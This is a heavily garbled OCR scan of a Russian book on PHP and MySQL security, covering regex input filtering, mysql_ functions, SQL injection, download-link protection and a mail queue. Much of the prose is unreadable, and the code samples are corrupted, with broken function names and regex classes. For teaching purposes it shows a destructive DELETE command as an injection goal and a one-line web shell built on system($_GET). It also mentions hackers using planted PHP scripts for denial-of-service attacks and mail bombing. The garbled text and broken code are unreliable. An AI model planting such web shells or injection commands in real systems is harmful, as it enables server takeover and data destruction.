Gyzer nepeanatecs uepes napamerpsi. Hanpmwiep, y pac ra (bopwe ecrs mons meona 1
CTEAYIOUIX AGHHLIX: (GAMWTA, WS, OTHECTBO, 1107, JATa POKICHAA, BOIPACT H MPH-
Mesanwe. Jlabaiire passepem KIAIOE W3 MOTEH H NOCMOTPHM, KAKHE CHMBOTH MOXHO
paspewuTh k BoTy.

O DaMyTR, WA 1 OTHECTBO — 5TH TH TO7A ABIAIOTER TEKCTOBBINH H MOTYT COREP-
KaTh T0Bse GykbenHuie cHwBOM. B OCTATRHOE AOTAHO GHiTh Sanpeero. Ciero-
BATENLHO, PEryIAPHOE BIPKEHHE J1A STHX N0l JOTKHO BHTAALETS Tak:

sstreereq_replace(

aszae2]n, ™, Sstr);

B LaHHOM BMPAKEHUM Mol 3ANPEUIAEM BCE, KPOME GYKB OT A 10 Z B HIOKHEM W BepK-
Hew perncTpax. Taxim OGPAI0, He HYKHO NPENHCINTS JANPELIERHSIE CHMBOTS 1
MOTHTLA, 50 Mot HIMETO He 3aGHUIH.

3 Tlos. Moer mphus»ath 020 13 sHasiehi — MyACKo Wik enckui, Bee ocram
HOE J0IKHO GECTIOIATHO 0GPE3ATECA. allie BCErO N0l COKPALLIOT 10 OHO GyK-
6t M i K, TI03TOMY PETYAApHO BHIPAXEHTie MOKCT BIAZETS CTEIYIOUIM 0~
pazon:
st

reg_replace( sstr);

e
B peayuTaTe Bce CHMROH, KPOME YKISAHHSIX AyX GyK, 6YIYT YIAIATLCS 3 napa-
wetpa.

O JlaTa poKaenys — 3ech JOMKHO OGPESATHE Bee, KpoMe LH(Bp H CHMBOTA TOWKH,
KOTOPA HCTIOTb3YETS /A PAYIETEHHS SHCIA, MEcAa H FOLa.
Sstr-ereq_replace("(0-9.1", ™, Sstr);

0 BO3pact — 310 410, a SHAUHT, B HeM He ZIOTKHO GhITS HIETO, Kpowe WH(p:
st 0-9]", ", Sstx);

reg_replace

O Tpivievaiiie — 3T0 CaMaR GAOANAL TIEPCMCHHEA, TIOTOMY O OHA MPEACTARIAET
OB TEKCT, KOTOpBI MOAET BBECTH NOMs0BaTEND. Kak MHHMYM 31€Ch Bbl 0K~
HA aNDETHTH TOGHE TerW, W TO MYWWle CIENATh C NOMOLNO (GyHKUAW
hemlspecialchars (). Ho 31ech POCTO LIS NPHMEPA pelHM MPOGTENY MPOCTHIN
wabrowow RegEx:

st

reg_replace ("<(A-2) (1,157, ", $str);
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Henpassnboe oGPaLIEHHE ¢ 3ATPOCAMH MOKET MPHBECTH K TTOTEpE Gaset IHHHX Wik
Aawe KoTpons Hax caifrow. Uailie pcero MpoGiema KPOSTCA B HETIDABHILHOM MOTY'E-
MW J8HHBIX OT IOTI0BATENA, & TOMHEE, TIOTYHEHMH STIHX JGHHBIX Ge3 MPOBEPKH Kop-
pexrrocTa. Ho napaitre o6cyain nce 1o MOPATKY: CHANATE PACCOTPHM PHHLHN pato-
‘Tht ¢ Gasawi b PHP, a 1I0TOM YKe 1OTOBODIHM 05 YA3BHMOCTAX.

3.8.1. OcHosur 6a3 AQHHBIX
PacenoTpiw mpocreiiunii npivep paSoTsi ¢ Gaoi AameX:

<apnp

if (nysql_connect (
die("Cant connect to Database Serve

mysql_select_db("database”) ;

ocalnost”, "usernane’

‘password"

Sresult-mysql_query ("SELECT + FRQM table");
Srousemysal_num_rows (Sresult) ;
print (Szows) ;

ysql_close();

37O MAKCHMATHHO MPOCTOM NpHMeP, KOTOPH HCTIOTS3YET CTaphifi METOA J0CTyna
K AGHHSIM, HMeHa YKL KOTOPOTO HASMHAIOTCA C mysq)

NeHMEAHNE
Oy =y YCTaPEIW, W WX XENATONIN He HCnOMLI0BATS. B KHATE oW MPWGEASHE!
TONSKD A7H T0rG, OGS HOXHO GHII0 NOKR3ATS SOMOKHSE YRSBWMOCTH, KOTODBM N0R-
Dopewt TIoGe HaGops YW AOCTYNa X AaHHoM. TTPOSTO 376G SHEPaN HMENHO
aysal_.

Cepaep Gasni Oauubix — 5TO OTACLHAA TIPOTPAMN, KOTOPaA PABOTAET HEIABHCHMO OF
‘Web-ceppepa. Urodsi OpraHioBaTh OBIEH#E MEALY ABYMA NPOTPAMMANH, B AGHHOM
Clyuae HCTOTH3YETCA CeTeBoe MOTKTOWEHNe "KiWenT-ceppep”. Kiment— PHP-
cuenapwi, paGoraiouii rox ynpanenvenm Web-ceppepa, a ceppep— Gaa AaHHNX
MySQL. TToxkioNeH#e YCTaHABTHBAETES ¢ TIOMOLIbIO (YHKLUH mysg]_conect (), KOTO-
'O HEOGXOTIHNO TEPEAATH TPH TIAPAMETP: QDEC CEPBEPA, HA OTHIOBATENS N3P,
Ecan nau cephep Gazsi AQHHBIX HAXOMNTCA Ha TOM e KOMTbIOTepe, 410 i Web-cepaep,
70 BMecTo azpeca MoxHO ykasas localhost.

Tloce coeaumena ¢ ceppepom HEOGXONO BHOPATS Gay, ¢ KOTOpOf Bht GyzeTe pato-
TaTs, nOTOMy 10 B MySQL WX MOKeT Guimh Gonee 0xHOM. JLIA STOTO HCTOTB3YeTCs
@YMKINA mysql_select do(), KOTOpOli MepelacTca WA WHTepecyiomeli Bac Gasei
nanmx. Teneps oo pemomusTs SQL-anpock: x TabmHuaM ) BHIOpaNHOH Gasel
nax.

JUIA 1O eHMS AQHHIX W3 TAGIHIL GIOKHT QYHKLIA mysql_query (), KOTOpOM HYAHO fie-
enaTh CTPOKY, ConepKaiyIo TekeT SQL-3anpoca. ECAH BHTIOTHAETCA 34Mpoc SELECT, T
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7% TOrO STO6i ONHETHTS NIGPANETP O BCTO OACHOTO, % HCTIOTBIYIO MIPHMEPHO e~
o Koz:

Sparan = preg_replace ("Perymapuoe supaxeiute”

Sparan)
B IGHHOM CTy4a€ Spazan — 9TO HMA IEPEMEHHON, KOTOPYIO HYKHO OSHCTHTS OT Onac-
O CHMBO708. PeryIApHOE BHPKEHHE JABHCHT OT THIIA TIEPEMEHHOH 1 CORPAALIXES
aMQUEHNH, @ B KAHECTBE JAMCHHI BHCTYTACT NYCTas CTpOKA. Pesy TSTAT CONPAHAETCR B TY
KE CAMYIO NIEpEMEHHYIO, H CciTH GUIH KakHE-TO TPAIHBIE JAHHBIE, TO OHH TEPRIOTCS, H
TPASHOF MepeMeHHOH GOTbILE HE CyulecTBYeT.
MOAHO COXPAHSTS E3yABTAT OMHCTKH B HOBYIO IEPEMEHIYIO, HO OCTANETCA BEPORT-
HOGTS, 4TO BB 110 OLIHOKE BOCTIOTB3YETECh LIE-TO FPAIHOH NPEMEHHON.
JUTA HGCTO HCTIOTE3YEMBIX PEryApHHIX BHpOXCHHH & COVIAIO OTAETHHYIO YHKIIG, &
He BIIHBE0 YHKIAIO preq_replace () HATIPAMYIO, HANPHNED, Tak:
function prepare_paran (Spazan)
«

retumm ereg_replace (*(°0-9.1%
’

", sparam) :

Snane = prepare_paran (Snane) ;

M ette He pas Gylew HCTIOT30BATS NOTOGHBIH B MPOBEPKH, TIOTONY SO OH O3
JET TyUIE YTIpARNATS OZVHaKOBbIMI WabTOMAMM 1% MHOFH. mepemenmbx. Jlomye-
T, 12 hOpME BBOZA MOAET GBITH TPH 103, AAHHHIE KOTOPHIX AOTAHB YIOBTETBOPATS
OmpezereHHOMY TpEGOBaHMIO (HAPHNED, CONEPAATS TOTHKO GyKsh). ECIH B Koze TpH-
K61 THCATS OHO H TO XK€ PETYIAPHOE BHPEHHE, TO €CTH MOTPEGYETCA MOTEPHHIPO-
BaTH €10, HyAHO GYET HCKATS KEKIOE €10 BXCAEHHE C TIOCTEAVIOUIAM HIMEHEHHEN.
B citysae HCTIONE30BAHMA GYHKLUH B MOKETE JeTKO HPALIMBATS H HOMEHITS ce BO3-
MOKHOCTH, & BCE WIMEHEHHA GYIIYT BIVATS Ha BCE TSP EMEHHAE, KOTOpHE NPOBEpAIOTCA
navHol e

Tlpi HeTIOTK30BaHHI LIEHTPATHHOBAHHO NPOBEPKH NIEPAMETPOB MOAHO OBOHTHCS 1 Ge3
pyHKLIHH, HO MHOTIA YHKIIMK ZEHCTBHTEITSHO YTIPOULGIOT COMPOBOXIEHHE BauieH 1po-
rpaxnisi. B CBOHX MIPOCKTX % HACTO COYIAO KIAGC Validat iordided, B KOTOPOM CoGpa-
HbE METOI! 14 OCYUIECTRIIEHHS PASTHHBIX NPOBEPOK.

3.8. Baskr AaHHLIX

Cymecrnyer Heckonbio CYBJL (cHeTewa ympasenys Gasam Zanksix) wik npocto BIl
W Bce oM pAGOTAIOT IPHVEDHO 110 OTHOMY MPHHLITY, HO KaXIAS TOMIEPAHBAET CBON
0COGEHHOCTH. PACCMOTPETS BCE HEBOIMOKHO, Ja H He HMEST CNHICT, TIOSTOMY OCTHO-
BME oMb Ha cawoi momyAApHOA ceftuac — MySQL. OHa no7ysiaa wHpoKoe pi
NpocTpareHe G1AroIAPA OTKPHITOCTH, GECTUIATHOCTH H BHICOKOMY KaiecTsy. HecMoTps
HA TO, §TO Mbi OTPAHHSHMCA Il OTHOW Ga%0f, BeCh PACCMTPHBAEMGH MaTEpHaT
B aBHOJi CTETIeHM MOXHO OTHECTH i K 1PYTHM BJL
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YHKIR BOTBPALIAET elyALTHPYIOUIAH HAGOP AHHBIX, COOTBETCTBYIOUX SATAHHBN
yenonmsm

HTOGH OMPEAEHTS KOTHHECTBO CTPOK, KOTOPHIE BOSBPATILNA mysql_query (), MOXHO He-
TIOMH30BATH GYHKLIIO mysc_num_rous (). ER HYAHO IEPEATS IEPEMEHYIO, B KOTOpOH
B COXPAHIN PE3YSTHPYIOUINH HAGOp JGHHSX, & OHA BOBPATHT KOTHYECTBO CTPOK
B 370m HaGope.

TMo OKoHaHHK PAGOTH ¢ Ga30H AGHHHIX PEKOMEHIYETEA KOPPEKTHO SBEPILHTE COSIH-
Herme ¢ ceppepow Ga3 AarHbX. JLTA STONO HCNOTSIYETCR dYHKINA mysq_close (). ECn
He BHIBATS STy (BYHKLUIO, COTVHEHHE MOXET OCTATSCA aKTHEHBIM, “TO UpEBATO N1po-
GleMaNH NEPENOTHEHMS OTKPHITHX COCTHHEHHH. HaTPHMED, HEKOTOPHIE XOCTHHIOBE
KOMNaHIH Ha TEUIeBHIX TpHOHLIX IIAHGX OTPAHHIHBAIOT KOTHYECTBO OTHOBPENEHIHX
coexmHenHi ¢ cepBEpOM 63 JaHHHIX. ECH HECKOTBKO TIONb3OBTEIICH OCTABAT OTKDH-
o€ COCTUMHHHE, CEPREP NEPECTAHET OTBENETH 1-3a TAKOTO OTPAHICHNA, W CAHT OKa-
eten WesocTyHbM. Tounee, cam caliT paGoTact, 1 Web-CTPaHIS MOTYT 3arpyAars-
4, HO MOAKTOYeHNs K B GYIYT 3aBepuaTECS OWHOKOH.

TIpOCNOTPETs 3aMHCH EsyTHTHPYIOLIETO HAGOPA MOKHO ¢ TIOMOWSK0 dyHKLHH
mysal_fetch_rou(). JIOMYCTHN, 4O pesymsTaT SQL-3AMPOCa COCTOMT H3 ABYX Koo~
HOK — WISHTHQWKATOPS  HNeHH. B ITOM CIYHa€ TIPOCMOTP BceX 3amiceli MOKeT B
FARIETS CreAYIOM 00paION:

while (list(sid, Sname) = mysql_fetch row(Sresult))
(

print("$id - Sname") ;
y

Ha 370w 3akomwM pacesoTpenME ocHon 1 nepeiiziem k Gonee r1yGokowy pasGopy Geso-
NiacHOCTH paGoTs ¢ Cepacpom 03 AaHHbX.

3.8.2. Araka SQL Injection

Cawas pacpocTpanenas aTaxa xaxepa wa Gasy aanmsix — SQL Injection, np koTopoit
Xakep berannser SQL-3anpockt B cTpoky URL BMECTO ONPEIETEHHOTO Napaverpa,
porpaa BemONNAET aTOT 3anpoc. Ecai 1ioyMsUIeHIK cMokeT BhmonaTs SQL-
KOMAHIS! Ha CepBepe, €xy IOCTATONHO GYIET YSHATS HMA TAOTHIL, HMEIOUMXCH B Gase
ABHHBIX, HTOGH! YHHNTOXHTS BCe JQHHHIE KOMAHION:

DELETE FRQM ihen_TaGmass

JUTA MOMHMAHHS IOCTEYIOUIENO MATEPHATA BaM HEOGXOTHMO SHATH OCHOBH A3HIKA 33
Tpocos SQL-92, TIOTOMY 4TO 370 OCHOBHOH CTI0C0G A0CTYNA K ZaHHbIM. IKEAATEHHO
€llle 3HATH CTIEUVIHMHHIE BOIMOAHOCTH KOHKPETHOTO Cephepa (3 AaHHBIX, HO KOMAHA
w3 cramnapra SQL-92 GyZeT J0CTATONHO /UIA IOHHMAHWA STOM KHATH,  TH KOMAHIS
Gyayr paorars Ha moGom ceprepe.

JlaaifTe paccyOTPHM, Kk Xaxepst npowseomsT ataky SQL Injection, T. €. Kak onh HuyT
"NOZIOGHYIO YAIBHMOCTS Ha CEPBEpE  KIK TaKaA aTaKa peariyeTcs. JIomycTi, HTo y sac





index-231_1.png
Ilpuwepe: patoms: ¢ PHP 235

Ha CBOCM KOMIIHIOTEDE, W OHa MOTKTIONAETCA K Gase AAHHEIX XOCTHHOBOH KoMIaHHK,
e BBl CONpaHATH MHCEMA.

Firak, Baua nporpava A07KHa GYAET NIPOCTO HCKATH IACEM B Gase AaHHHIX H OTIPaB-
75 x. ECAM IPOHSOULIA OWIHGKE, TO MOKHO A0GABHTS K TEKYLLEMY BDEMEHH MHHYT
NIATH # COXPAHHTS 5TO BPEMS B KOTOHKE #S, i MONPOGORATS TIORTOPHTS OTTIPABKY 4epes
TH TATS MuNYT. Y MEHS ETYISpHO BOMMKEIOT MPOGCMb C OTTABKOR MONTH, H
Gy noBTOpa OueHs wacto cnacaet. YToGs! NOBTOPSI He CTATH GecKOMEHMM,
B CTYHaE COBCEM YK CEPIEIMBIX TPOGTIEM Y MEHS BOETTA B Gase XPAHHTEA KOTHIECTSO
YKe COBEPUIEHHHX MOMITOK. ECTH A YK€ MPOGOBAT JOCTABHTE MHCKMO § Pa3, T 0CTa-
amwBatock,

5.8. 3awmra ccurnok

Odems, 4ACTO GHIBAET HEOGXOTHMO JAULVITHTS CCHTKH, STTOGH! XaKEpHI HE MOTTH CKAtH-
BaTh onpezenentbic Galitii KANPAMYIO. Ie 310 MOeT HenomwsoRaThca? lomycTin,
WTO B paspaGaTsIBacTe calfr, Ha KOTOpOM ACTIOTATAIOTCA YCTAHORONHSIE GaiThi Mpo-
rpaes. TIpi 3TOM aiibl JOTKHb! G JOCTYITHS [UIA CKASMBAHI TONEKO TIOTBI0RA-
TenM, MPOLIEAMM GECTUIATHYIO PErHCTPALIAO Ha caiTe. HMEETes B BHIY perHcTpans
Ha caifTe, a He MoKkynKa mporpamwsi. Takoe GHIBACT JOCTATONHO YACTO Ha shareware-
calfTax, Beitb paspaGOTHVIKH XOTAT HNETS HHGOPMAILHIO O TIOTBSOBATETAX, KOTOpHE CKa-
SHBAIOT  HCTIOTH3YIOT X MPOYKTH, HAIlA 34184 — 3aMACKWPOBATS PeaTsibii atpec
ailna, §TOGH XaKep He CMOT OGOHTH PerviCTPALIIO H BEIOKHTS MpAMOl URL-apec
aina Ha croew caifre.

VI€aTsHOrO BAPHAKT JAUITH A €ule He BCTESAT, H B OOBY HANENO He MPHXOANT.
alia TEXHT Ha CepBepe, W AR Hero ecTh onpexenentbii URL, KoTophii Xakep MOXeT
OnpeenHTH B0 Bpews perncTpauMH. Ha nephili B3I, MOXHO OTOXHTS aikn B na
Ky, sauMLeHHYI0 naposew Apache, & NapOTh BTABATS TOTHKO MOCTE PETHCTPAIIAH Ha
cepBepe, HO 3TO pellHHE TaloKE HE ABIAETCA WIEATHHBIN, NIOTOMY 4TO COVIACT MPOGE-
Mt Z0GPONIOPAIOUMHBIM MOTIOBATENEN, @ XAKEPH H TAK JATOMHAT A1pEC H GYAYT €10

Bonee ppexTHBHoe peuiene — KEKIHE HECKOTSKO AeH (HATDHMED, DI B HEZETIO)
WaMeHATS 1 Baiinia WK ero pacrOToACHHE CyaFHBIM OGPAON H COXPARATS HOBHI
‘azpec b Gae zanHuX. CavOMY CHEHAPHIO HE COCTARTAET TPYIa NIOTYSHTS HOBBIH a1pec
31O Ke Gasht TaHHbX. B ITOM CIy¥ae, JKE €CT XaKep OMECTHT TIPAMYIO GOLLTKY Ha
‘cBoeM warez-cailTe, 9T CCHUIKA YEpe3 ONPEIETENHOE BPEMA YCTAPECT, 1 IOTHIOBATEIAM
NIDHIETCA PETHCTPHPOBATLCA HA CEPBEPE JeraTsHbi o0pasow. Hiwerenwe gaiina ¢ no-
MOILHIO CHEHAPHA He TaK YA H CAOKHO JUIA CepBEp, HO 663 IHaHHA QTOPHTMA O%eHb
Heya06HO A1A Xakepa.

BoTbMHCTRO CaiTOB MOCTYNACT Mo-ApYFOMy — MpH 3anpoce bafina cueHapi Aenaer
KOMO (bafinia WK CO3IACT CHMBOTHHYIO CCBUIKY Ha HEFO CO CTYNalHbIM HMEHEN WIH B
nake co cryuaiinsiv Huerew. BapHIHT Co CCHUIKOR NDEATONTHTEbHEE, OCOBEHHO B TEX
cryuanx, Koraa Ha cepaepe HaxonsTCH (afisi Gonbioro panvepa. Cchurka (4 2aTa ee
CouaNIA) coXpANSETCS B GMe TaHANX W ACHCTBYCT ONPEIEREHHOE BPENS, HANDHNED
tpi waca. Tlo KOMAHAE TUTARMPOBILLIK 1A TIpH KECIOM BRITOTHEHHI CLEHAPHS 3Ta G232
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cepbepe. ITOT w361k Hanwcan Web-paspaGorukamss 1 s Web-paspaGorskos. Sabik
PHP n1acTCA KOHKYpEHTOM Takinx mpoaykTos, kax Microsoft Active Server Pages
(ASP) n Java Server Pages.

Caw 10 ceGe Web-ceppep He yeeT sbmonHsTh cuesapn PHP, 113 57070 HeoGXomima
POTpAMAMA-HHTEpRpETaTOp. Takite MTCPIPETATOpH CYICCTBYIOT A8 BCEX NOMYAAp-
ninx Web-cepeepon (IIS, Apache) wa scex ocomsx nargopmax (Windows, Linux,
Mac OS . 2).

Stasik PHP veHb 4acTO paccMarpusaior s cocrase Apache Web Server. o Gecnar-
i Web-cepeep, KOTOpli ABIAETCA JWICPOM W HETIOMLYETCR GONEE HeM Ha NONOBHHE
cepaepon b HimepeTe (TouHyI0 WPy HA3BATS COAHO, HO THOGHIE ABHHHE YKA3HIBAIOT
HA TPEBOCKOIICTBO JaHHOTO Cepepa).

Stawx PHP noseonser scrpausars dparmensi koma Henocperctoenso » HTML-
CTPaHHUL, & WHTEpNPETHPOBAHHE KO BaIIEH CTPAHHUS! OTOGPEKAETCA FIOTHIOBATEIO.
Kon wa sbike PHP MOXHO BocTpHHHMATS Kak pactiimpenisie Tern HTML, Koropsie bbi-
TIOIHSIOTCR Ha cepaepe, W KaK MATEHSKHE IPOTPANMB, KOTOPHE BHITOTHAIOTCH BHYT-
H CTpaHMI, MpEACAE Hew GYIYT OTTIpaBIIeHs! KTHeHTY. Be, HTO A€TAET KOX MpOTpAMMB,
HESAMETHO [UTA TOME30BATEIA.

TipaKriseckn 1 oz Goriee-weree kpymHbii Web-caltt He MOeT paGoTaTs Ge3 Xpai-
Ha KawieX. JUIA PelteHns STOM SATAYM MOXHO HCMOTHIORATS TEKCTOBHE Gaiii Ha
cephepe W Gasst AasHX (BTOpOE HaMHOTO Y0GHee IpH oGpaGorke). B nanHof kiwre
Mbi GYIeM AOCTATONHO YACTO PACCMATPHBATS PAGOTY Ga3 aHHBIX, @ B KA4ECTBE OCHOB-
HO HCTIOTIIOBET CAMYIO PACTPOCTPAHEHHYIO Ha HitHEwHH# MONEHT — MySQL. 310
PEAAUHONHAA G230 JAHHEX C OTKPHITHIM HEXOTHBIM KOTOM, KOTOPAR TTPOCTA B HCIIOAB30-
BaHMH H NOTIEPAHBACTCA GOTHUIMHCTBOM XOCTHHTOBBIX KOMNAHHH.

Tosewy nwentio PHP 1 riosemy BooGiute Bt A0KIb HsywaTh ero? Celfiac Bce YXOmHT
' Web. Ecin 7 10 Ha3a1 nO/30BATEIAM NIPHXOIAAORS [V BCETO YCTAHARIHBATS NIpO-
TPAMMS A TOKATBHBH KOMITHIOTEp, TO CEfi4aC MHOTHE OTIEPAILAH BHITOTHAIOTCA H
Gpaysepa. Mt b Gpaysepe paGoraew ¢ NONTO, AOKYMEHTANH  HTCKTPOHHBIMM TaOH-
LA, 1 B HeM GOTLIHICTEO 3 HAC TIPOBOTIT GOTBLIE BCETO BpeMeHH.

B Kanaze ceffuac PHP — o4 W3 CaMbiX BOCTpEGOBaHHSIX A361K0B. 3ech CTaGHTBHIH
W BucOKWi CTIPOC Ha GriewRaTHCTOB co JHaiHew PHP, XoTA 8 cpetiew NET- i Java-
pOrpaMMHCTH 3apaGaTsiBaior Bce ke Gonbue. Ho sato PHP-nporpaswucty npome
‘aiiTh paGory. Mos iepsas pacoTa s Kanazte Ka pas Gsuna CBA3aHa G STHM AJIKOM Ipo-
rT———y

1.2. Cospanue caiita 8 Apache

PHP — 570 He npocto HTML-pasmeTka, KoTopas BHIIOTHACTCA MpAMo B Gpaysepe. 1o
Koz, KoTopiit paGotaer Ha cepeepe. Cawin nomyaspisi Web-cepaepow ceftuac nts-
eca Apache, W HMEHHO Ha €10 IDHMEDE A IOKAXY BAPHGHT HACTpOHKH. B KasecTae one-
paunonHoli cHeTewt Bosbwem Mac O, HO HacTpofiKa B Linux-cHcTewax miouh He or-
HUGETCH, PASHHLA MOKET GbITS TOTKO B PACTIOTIOAEHHH KOHGHTYpAIKOHHbX 1o,
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IPAMMY, KOTOPaA MOTOM TIOCTORHHO BHGHPAET MHCHMA W3 GASHl JGHHWX W OTIpaB-
axe .

'BoswoxHbi BapHaNT pements TOf 3184 — COMIATS TAGTHIY B Gase ABHHEY, B KO-
TOpOFi Gy 2y MPHMEPHO CIETYIOLIHE KOTOHKH:

O e-mail nomssosarens;

O rema ek

0 reno mchma;

O HOMOTHHTE SHSIE NAPAMETPHI NHCHME;

O Bpens creayIomel NOMLITKH OTIPABHTE MHCHMO;

0 KomiecTso nomsITOK;

O wmos.

‘Teneps, KOr1a HyAHO OTIIDABHTS IHCHMO, TIPOCTO COXPAHAEM AGHHHIE B STOR TAGTHUE,

WTO MPOHCXONT TPAKTHYECKH MTHOBEHHO, 1 MPOZOMKACM GOPMMPOBATS CTPAHHLY
© pesyabTaTOM 11 noTB0BATENS,

‘Teneps HyKHo HATIHCATS MPOTPAMMY, KOTOpas GYIET HCKATS B Gase JGHHHIX HEOTIpAB-
TeHHbie MHCOMA H AOCTABIATS WX. TaKyko MPOTPAMMY MOXHO HATHCATS Jae Ha PHP.
Jina nOZOGHO MpOrPANMBI e HyeH BHIyaTsHBIH HHTEpGeic, H Bee MOXHO A€TaTh
b KoMaHIHOM cTpoke, a PHP MpeKpacio NOTXOINT He TOTSKO Ais cotamms Web-
CTPHH, HO H 1A KOHCOTHHBIX MPHIOKEHHH,

Covnaiire wosit PHP-afin. Jlapaiire » Hew manvumem mpocTof kox, KoTopsif Gyzer
NPOCTO eNaTaTS HTO-TO B KOHCOTH:

echo "this

PHp\n"s

‘Tenieps OTKpOTE KOHCOTs  BHINOHHTE NPOCTYIO KOMANY:

Php Program. php

B PesyITATe B TO;KHEI YBHICTS B OKHE KOHCOTH COOGUICHHE:
his is pe

Bee npepacHo, KOra Mt paGOTAEM IOKATSHO H HMEeM MOTHEIH JOCTYTI K GBOEMY KOM-
msiorepy. Korza caift HaXonuTea Ha payiensemon xocrnre (Shared Hosting), To Tyr
YKe JATEKO He BCETA ECTh BOIMOKHOCTS OTKTIOSHTECA K YAATCHHOMY CEpBCPY H 32-
TYCTHTS KaKYIO-TO MPOTPaMMY Ha. Hew. HEKOTOpBIe KOMTIGHHH YKe HASQTH NpeocTas-
IATH TAKYIO BOSMOKHOGTS # CTATH PA3PLITh COYIABATE CTON-3AIAYH (TIGHMPOBLIAKH
5878, BHTIOTHAIONIIE KOMAHTS T10 PACTHCAHIIO) AWK Ha CAMBIX JEUIEBbIX TapHGX.

EC1H Bl XOCTHHT I03BOTAET CO3ABATS CTOMN-3A19H, TO MOKHO COIATh TAKYIO 3a184Y,
KOTOpaA GYZeT BHTOTHATECR KAAIbIE 8¢ MHHYTH W samyckars PHP-paiin pauieit npo-
IPAMMS OTIpaBKH OWTH. EcTi Takofi BOSMOKHOCTH HET, TO BIIOJHE PEaTsHo Takoe
PeanII0BaTh WKE Ha CBOEM JOKATBHOM KoMITHOTEpe. TTpOTO SaMYCKAETE TaKYI0 3a7aty
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Tpsezene Twrios ects w s PHP:

i) s_GET(1d);
print ('SELECT * FROM Users WHERE i

sia);

B iepBoit CTPOKe Mt A€aem He concen oBiioe npwesansake. Tlepemenno 5id mpi-
cBamBaeTcs sHasene GET-NapaMeTpa C MMEHEM Ld, TOTHKO B CKOGKAX MIepel nepeMer-
WO yKasaH T A@HHGIX inc. HEAOCTATOK 9TOTO METONa 38KTIONGETCA B TON, 470 €CTH
B NEPAMETPE GYIET HAXOTHTLCA HE SHCIO, TO CTEHEPHPYETCA TDEIYTIDEKIEHHE H B ic-
pememnyio sid nonazer 0. ECTH y Bac b Gase ecTh BXHOS TAOTHIA TIOX HY/IEBHIM HOMe-
POM, TO XaKEP € YBIIIT, HTO BECHMa HOKCTATEBHO.

B c1yuac ¢ BHpEIHHEN ¢ ONOUISIO PETyIAPHOTO BHIPEKEHIS, Pe3yTaT GyAer Ay,
ECIH B CTPOKE NGpaMETPa €CTh HHC, TO TIOCAE YIAIEHHA GYK B NIEPEMEHHYIO Oyer
30TACEHO SHETIO, A ECTH WX HET, TO B Wl OKIKETCA MYCTAR CTPOKA, H 3AMPOC HIFETO He
Bepher.

Co CTPOKaMMH MOKHO TIOCTYIATS TaK e, JIONYCTHM, 'TO MOHCK TPOHCXORHT 10 MO0
nae. Kak Z0GHTLCA, STOGH XaKep HE CMOr BBECTH HEZOMYCTHMSII| CHMBOT W BXIONATS
Gasy AaHILIX? B CTPOKAX MOTYT HCTIOTS30BATECA GYKB!  HIHOTAA TIPOGETE, ECTH B TI0Te
NOKET GhiTh TKCT 3 HeckobkMX cop. TI03TOMY KO NOTYH€HMA 1apaMETpa OT NoTb-
I0BATEH AOKEH BHITAETS CIEVIOUIM OGPasOM:

<fom action="ds2.php" method="get">

<input name="nane">

</som>

<2php
Snane=preq_replace("/ [a-2A-20-9 1/", ™", $_GET['nane’))s
Drint (‘SELECT * FROU Users WHERE name='.Sname) ;

B TOM TDHMEPE Mt 3aMEHASM TYCTEIM CHMBOTIOM BCe, SO He OTHOCHTCA K GyKBaM,
wnbpas i npoGenaw. TakHM 0GPaIOM, CHMBOTS! ABORHOM HIH OZMHADHOH KaBbIvKH
GYIYT JaNpewlCHS, W ecTH XaKp NOMMTACTCH NEPENaTH CTPOKY: 10 OR name=
“Amanicrparop”, TO B PEIYBTATE B 3ATOC MONALET TOTHKO 10 OR nane-AmenuCTpaToP,
370 YK OUINGKa, H TAKOH 3aPOC He GYET BHnOTHEH.

[ECH Bt YBEPEH, HTO T10E HE MOKET COTEPAQTS TEKCT 3 HECKOTHKHX C/IOB, TO Tyule
3ATIPETHTS, MOTHIOBATENNO MIEPeAABATS CLLEHAPHIO MPOGETE

PerynspHoe BpmKeHHe "/ [*a-2A-20-3 ] /i" ANPEUIAET MOGHE CrEUHATSHbIE CHMBO-
261, HO MHOTZA OHM GhBAIOT HeoGXOMMAM. Hanphmep, B Toie MOTYT GbiTh CHMBOTS [
W 1, 4 BBl COMTETE HYKHBIM PASPELLINTS MONB3OBATEIO iepeasaTh HX. Jla, 370 BrOTHE
Ge3oBunro 1A SQL-3ampoca, HO He BCE CHMBOTS CTOITh Gesonacisi. TTepeseii cim-
BObI, KOTOPHIE HHKOTAA HEb3s paspears

O Onumapisie # TBoHHse Kapbrskw. TakHe CHMBOTH HCTIOTH3YIOTCA B JATPOCAX 1%
Buteenns.
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systen(s_GET("sub_con®]) s
print(s_GET("sub_can"]);
<fpre>

Sarpysws 10T cuewapii w3 Web-Gpaysepa, Xakep nOTYNAET A0CTYN K BHTOTHEHHIO
KOMAH Ha yIaeHHOM cephepe ¢ npasavh Web-cepaepa.

B HACTOAICE BPEM TIORBIIOCS MHOFO HEGOTHULINX CLEHAPHED, KOTOPHIE TIOSBOTSIOT 10~
ryauTi, Web-wrepdeiic K GaiiioBoii cHCTeMe YAATERHOTO KoMmbioTepa. Eciim naneanTs
HAILI CuUEHADHH BOSMOKHOCTBIO PAGOTS! ¢ (PaIANH, TO €10 YAKE MOKHO GYIET HAsBaTH
noTHOwEHHEM Shell-TOCTYTIOM (0GOTIONKA 1A BHTOTHEHHA KOMAHA Ha YIRNEHHOH CHe-
Teme) ¢ BHIyATHHBM HHTEpEHCOM.

B pas0. 5.5 i yswzesw, 4o PHP MOKET HCTIOTI0BATICH XaKEDOM H TR BHTIOTHEIHS
ceTenix arax ¢ cepacpa. JIONyCTHM, HTO HEOOXOMO TIPOBECTH TAKY OTKE3A OT 0GCY-
MBAHWS WIH YCTPOWTH MIONTOBYIO GOMGAPIMpOBKY eprei. C mowoueio PHP-
GIEHAPHEB MOAHO PEATIIOBATS  TO, H APYTOC  IPH STOM OCTATLCA GHOMIMHBIM. Jl1A
1010 XaKep BuaMBIBACT Kakoi-THG0 Web-cepnep # noweuaer Ha wero caoi PHP-
CuieHapH#, KOTOphI BITIOTHAET HEOBXOTMMBE A€TCTaMS.

B cayuae ¢ atakolt orkasa ot obcaykupania (DOS) Xakep MOKET HaTHCATS cLeHapHH,
KOTOplf GyZeT GOMGHTS cepbep GeceMbicAEHHBIMM 3ampocay. ECaw ciieapwt samyc-
THTS ¢ AOCTATOHHO MOLIHOTO CepBEP ¢ IIHPOKHM KAHATOM, TO MOXHO 3ACHIIATS MYCo-
POM npaKTHECKH M0G0 KoMMBioTEp. To e CAMOE H ¢ NOTOBOH GOMGAPIHPOBKOR.
